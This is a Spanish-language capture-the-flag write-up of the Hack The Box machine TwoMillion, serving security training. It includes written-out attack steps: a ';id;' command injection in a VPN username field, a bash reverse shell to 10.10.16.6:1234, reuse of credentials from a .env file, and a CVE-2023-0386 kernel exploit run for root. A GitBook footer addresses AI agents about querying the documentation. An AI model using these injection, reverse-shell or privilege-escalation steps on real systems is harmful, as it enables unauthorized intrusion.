> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/hack-the-box/twomillion.md).

# TwoMillion

<figure><img src="/files/CH47gR35PVK7OP7UruN5" alt=""><figcaption></figcaption></figure>

## Enumeración

### Enumeración de puertos

```
nmap -p- --open -Pn --min-rate 500 2million.htb 
```

<figure><img src="/files/pfHVLuN15L5Da59tKCtB" alt=""><figcaption></figcaption></figure>

Dos puertos abiertos, vamos con la enumeración detallada de estos servicios.

```
nmap -p22,80 -sVC -Pn 2million.htb 
```

<figure><img src="/files/4cGKSbaQ2XmqtTUPZG8T" alt=""><figcaption></figcaption></figure>

**VERSIONES**&#x20;

* Puerto 22 -> SSH -> OpenSSH 8.9
* Puerto 80 -> HTTP -> nginx

### Enumeración Web

El equipo objetivo está ejecutando un servidor Web en el puerto 80. Vamos a enumerar su contenido.

<figure><img src="/files/58t3nzfbUvagdIz7pH7w" alt=""><figcaption></figcaption></figure>

Parece el sitio Web de una plataforma de CTF. Continuamos enumerando directorios y archivos interesantes en el sistema.

```
dirsearch -u http://2million.htb -i 200,301
```

<figure><img src="/files/FPxDHkez68wm8jVci2at" alt=""><figcaption></figcaption></figure>

Solo vemos algo interesante en /register.

<figure><img src="/files/SRekZyPsm6Kl1EA5WwSl" alt=""><figcaption></figcaption></figure>

Se solicita un "Invite code". Seguimos enumerando de forma manual el sitio Web.

<figure><img src="/files/uAg3HdiELdgNGktyP8Ku" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1PMNyV1sq6Pg439RIOUT" alt=""><figcaption></figcaption></figure>

Vamos a analizar el código fuente de este sitio Web para buscar vectores de entrada.

<figure><img src="/files/d2buwqseAEZgotjTVZqY" alt=""><figcaption></figcaption></figure>

Abrimos el archivo señalado y copiamos el contenido en beautifier.io para hacer el código leíble.

<figure><img src="/files/WOrz8ieLK4LOQ5kcX0vq" alt=""><figcaption></figcaption></figure>

Observamos la función "makeInviteCode" para comprobar como se genera el "Invite code".

```
curl -sq -X POST http://2million.htb/api/v1/invite/how/to/generate | jq.
```

<figure><img src="/files/pMJpPofTtRIDCcTTlllF" alt=""><figcaption></figcaption></figure>

Encontramos un mensaje cifrado en ROT13. Vamos a descifrarlo utilizando el sitio Web rot13.com.

<figure><img src="/files/uPIX0j4M5rd7j1S3pqzW" alt=""><figcaption></figcaption></figure>

Obtenemos el mensaje "In order to generate the invite code, make a POST request to /api/v1/invite/generate" Volvemos a realizar una solicitud POST a /api/v1/invite/generate usando curl.

```
curl -sq -X POST http://2million.htb/api/v1/invite/generate | jq.
```

<figure><img src="/files/eDegwwl9pgYtOXIHEs1k" alt=""><figcaption></figcaption></figure>

Obtenemos un valor cifrado en base64. Vamos a tratar de generar la misma petición pero descifrando este serial.

```
curl -sq -X POST http://2million.htb/api/v1/invite/generate | jq .data.code -r | base64 -d
```

<figure><img src="/files/AQLmyIxqIagmAK6uyi1Y" alt=""><figcaption></figcaption></figure>

Finalmente, obtenemos el código de invitación. Ahora vamos a tratar de registrarnos en la plataforma.

<figure><img src="/files/oAVIcLdlvk1rJp0a1I1Y" alt=""><figcaption></figcaption></figure>

## Explotación

Accedemos al sitio Web original de la plataforma Hack The Box. El sitio informa que está realizando migraciones de base de datos y que algunas funciones no están disponibles. En realidad, esto significa que la mayoría de las funciones no están disponibles. Los enlaces del "Panel de control", "Reglas" y "Registro de cambios" bajo la sección "Principal" funcionan y redirigen a páginas que recuerdan la apariencia original de HTB. Bajo la sección "Laboratorios", el único enlace que realmente funciona es la página de "Acceso", que lleva a /home/access. Después haremos clic en "Connection Pack" o en "Regenerate" para envia una petición enviar una GET a a la API /api/v1/user/vpn/regenerate.

<figure><img src="/files/5lMFj8znS8LsPJCcwTik" alt=""><figcaption></figcaption></figure>

Vamos a jugar con la API. Si lanzamos una petición a /api/v1, devuelve una descripción de la petición a la API.

<figure><img src="/files/moTsx7pXWpiAE0K2jKBE" alt=""><figcaption></figcaption></figure>

```
{
    "v1": {
        "user": {
            "GET": {
                "\/api\/v1": "Route List",
                "\/api\/v1\/invite\/how\/to\/generate": "Instructions on invite code generation",
                "\/api\/v1\/invite\/generate": "Generate invite code",
                "\/api\/v1\/invite\/verify": "Verify invite code",
                "\/api\/v1\/user\/auth": "Check if user is authenticated",
                "\/api\/v1\/user\/vpn\/generate": "Generate a new VPN configuration",
                "\/api\/v1\/user\/vpn\/regenerate": "Regenerate VPN configuration",
                "\/api\/v1\/user\/vpn\/download": "Download OVPN file"
            },
            "POST": {
                "\/api\/v1\/user\/register": "Register a new user",
                "\/api\/v1\/user\/login": "Login with existing user"
            }
        },
        "admin": {
            "GET": {
                "\/api\/v1\/admin\/auth": "Check if user is admin"
            },
            "POST": {
                "\/api\/v1\/admin\/vpn\/generate": "Generate VPN for specific user"
            },
            "PUT": {
                "\![[Pasted image 20231020104203.png]]": "Update user settings"
            }
        }
    }
}
```

Donde encontramos la dirección de la API donde se realizan las consultar para comprobar si un usuario es admin: /api/v1/admin/auth. Vamos a enumerar la API de administrator.

<figure><img src="/files/5LEyPT81dyStpYFJTnUd" alt=""><figcaption></figcaption></figure>

Ya sabemos que no somos usuario administrador. Vamos a jugar con las diferentes peticiones que se indican en la descripción de la API.

<figure><img src="/files/eTwxzoz2pIu7Vvm1inbY" alt=""><figcaption></figcaption></figure>

Para representar datos estructurados, debemos indicar Content-Type: json

<figure><img src="/files/fcioV14rEKfWxfCPA7Ki" alt=""><figcaption></figcaption></figure>

Le debemos indicar un email como parámetro. Le indicaremos el que hemos utilizado para registrarnos.

<figure><img src="/files/v8UM9KplS2OB3KgLnZpD" alt=""><figcaption></figcaption></figure>

Nos pide indicar si el usuario "id\_admin". Se indica con un 0 o 1.

<figure><img src="/files/kUFt4ZUvWee5t7s4rJKo" alt=""><figcaption></figcaption></figure>

Tras hacer esto, vamos a confirmar que somos admin.

<figure><img src="/files/Jo3uIUGNtl2qSWNeiTfi" alt=""><figcaption></figcaption></figure>

Ahora el siguiente paso será generar una VPN con usuario admin.

<figure><img src="/files/G43wVUOvlPvKCMjcO6xj" alt=""><figcaption></figcaption></figure>

Nos pide un nombre de usuario para generar la VPN.

<figure><img src="/files/99Gq0c8A5vipznHpsmoq" alt=""><figcaption></figcaption></figure>

Hemos generado un archivo de configuración de VPN. Dado que se utilizan las funciones PHP del sistema o exec para crear esta VPN, es posible que no existan todas las protecciones necesarias para evitar que se inyecte código malicioso en el campo de username. Insertando el comando ;id; después del nombre de usuario, comprobamos que es correcta nuestra suposición.

<figure><img src="/files/fRnAuGeEXXFH4YETDJoL" alt=""><figcaption></figcaption></figure>

Parece que podemos inyectar comandos, vamos a utilizar este vector para tratar de ejecutar una reverse shell de la siguiente forma:

```
bash -c 'bash -i >&/dev/tcp/10.10.16.6/1234 0>&1';
```

<figure><img src="/files/LRpFWWx59LzYgDQLG2fC" alt=""><figcaption></figcaption></figure>

Configuramos por otro lado un oyente nc en el puerto 1234.

<figure><img src="/files/vMFE6raoawsrJo3iRD2K" alt=""><figcaption></figcaption></figure>

Y obtenemos acceso al sistema.

## Pivotando de www-data a usuario admin

Enumerando el directorio al que hemos obtenido acceso vía shell, vemos un archivo .env que puede ser interesante. Este archivo suele contener credenciales, hashes... Veamos su contenido.

<figure><img src="/files/1hfCRnM6U7m3GmEE44Ts" alt=""><figcaption></figcaption></figure>

Encontramos unas credenciales para el usuario admin. admin:SuperDuperPass123. Vamos a tratar de acceder al sistema con estas credenciales.

<figure><img src="/files/SLQ7IvGO1lxEldoLyDoZ" alt=""><figcaption></figcaption></figure>

Obtenemos acceso como usuario admin. Vamos a buscar la flag de usuario user.txt. Aunque antes de seguir avanzando, vamos a hacer la terminal interactiva.

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

<figure><img src="/files/3GKqz0gwyWNJNPQQgq1z" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/10jaacNA84m6IGgPMuuT" alt=""><figcaption></figcaption></figure>

## Elevación de privilegios

Una vez hemos accedido al sistema con bajos privilegios y hemos obtenido la flag user.txt, vamos a tratar de elevar privilegios dentro del sistema. Al acceder al sistema a través de SSH con las credenciales que obtuvimos anteriormente, encontramos el siguiente mensaje.

<figure><img src="/files/SfoOLFbMgUfwgu8vN6AR" alt=""><figcaption></figcaption></figure>

Parece una notificación de email. La carpeta de email suele esta en el directorio /var/mail. Veamos su contenido.

<figure><img src="/files/xSPa3txNEyq1cyx2e69I" alt=""><figcaption></figcaption></figure>

"I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that. " Parece que existe una vulnerabilidad crítica en el kernel de Linux. Vamos a buscar información sobre ella.

<figure><img src="/files/I0FMaFIucCazEWfxBN8x" alt=""><figcaption></figcaption></figure>

Si buscamos en Google información sobre esta vulnerabilidad, encontramos en CVE-2023-0386

<figure><img src="/files/Kd8WjxLkeA7hHvaarokc" alt=""><figcaption></figcaption></figure>

Encontramos el siguiente exploit en [GitHub](https://github.com/xkaneiki/CVE-2023-0386). Vamos a tratar de utilizarlo para la elevación de privilegios. Descargamos el POC en un archivo ZIP. Lo enviamos a la máquina objetivo haciendo uso de scp.

```
sshpass -p SuperDuperPass123 scp CVE-2023-0386-main.zip admin@2million.htb:/tmp/
```

<figure><img src="/files/cs2H4jTCtTG63MiHoMrV" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/MmTqEzkfICc3DHlg1QTs" alt=""><figcaption></figcaption></figure>

Ya tenemos el archivo en el equipo objetivo.

<figure><img src="/files/60CTdypIVSw0HRbhULZi" alt=""><figcaption></figcaption></figure>

Descomprimimos el archivo y accedemos al directorio creado.

<figure><img src="/files/860WqH6a7x3Wq5FIo9zg" alt=""><figcaption></figcaption></figure>

Como indica el archivo README.md, ejecutamos `make all` para compilar todos los archivos necesarios.

<figure><img src="/files/uNRB1gYQEQrumFwwCXoe" alt=""><figcaption></figcaption></figure>

Vamos a explotar la vulnerabilidad. En la misma terminal de comandos donde nos encontramos, ejecutamos lo siguiente:

```
./fuse ./ovlcap/lower ./gc
```

<figure><img src="/files/ozsJnNn8jWB8IZsrjPvp" alt=""><figcaption></figcaption></figure>

Y por otro lado, abrimos otra terminal dentro de la máquina víctima, volvemos a acceder al directorio creado cuando hemos descomprimido el ZIP del exploit y ejecutamos `./exp`

<figure><img src="/files/2xkI5timzKRMuLMcNBgD" alt=""><figcaption></figcaption></figure>

Ya tendremos acceso al sistema como usuario con privilegios elevados. Vamos ahora a buscar la flag root.txt.

<figure><img src="/files/WdnUQo01tJgMh0oNDkVU" alt=""><figcaption></figcaption></figure>

Y ya tendríamos acabada la maquina TwoMillion de HTB.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/write-ups/hack-the-box/twomillion.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
